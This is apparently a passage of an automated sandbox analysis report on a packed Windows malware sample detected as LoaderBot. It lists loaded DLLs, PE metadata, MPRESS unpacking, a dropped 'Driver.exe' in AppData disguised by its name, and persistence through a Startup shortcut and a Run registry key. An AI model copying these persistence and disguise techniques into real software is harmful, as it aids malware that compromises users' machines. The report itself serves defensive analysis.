Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: kWYLtJ0Cn1.exe

Static file information: File size 4819968 > 1048576

Source: kWYLtJ0Cn1.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x3f9a00

Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: kWYLtJ0Cn1.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: kWYLtJ0Cn1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: kWYLtJ0Cn1.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\9h4bqyhzw0\output.pdb source: kWYLtJ0Cn1.exe
Source:	Binary string: C:\9h4bqyhzw0\output.pdb. source: kWYLtJ0Cn1.exe

Source: kWYLtJ0Cn1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: kWYLtJ0Cn1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: kWYLtJ0Cn1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: kWYLtJ0Cn1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: kWYLtJ0Cn1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Unpacked PE file: 2.2.Driver.exe.140000000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Unpacked PE file: 20.2.Driver.exe.140000000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Yara detected LoaderBot

Source: Yara match	File source: 0.2.kWYLtJ0Cn1.exe.ffcbc0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kWYLtJ0Cn1.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4118537501.000000000067C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675093789.000000000137E000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: kWYLtJ0Cn1.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7368, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: kWYLtJ0Cn1.exe	Static PE information: real checksum: 0x0 should be: 0x4a26f7
Source: Driver.exe.1.dr	Static PE information: real checksum: 0x3f8bb4 should be: 0x3fb52d

Source: Driver.exe.1.dr	Static PE information: section name: .MPRESS1
Source: Driver.exe.1.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\kWYLtJ0Cn1.exe

Code function: 0_2_00F8E1C4 push ecx; ret

0_2_00F8E1D7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Driver			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Driver			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
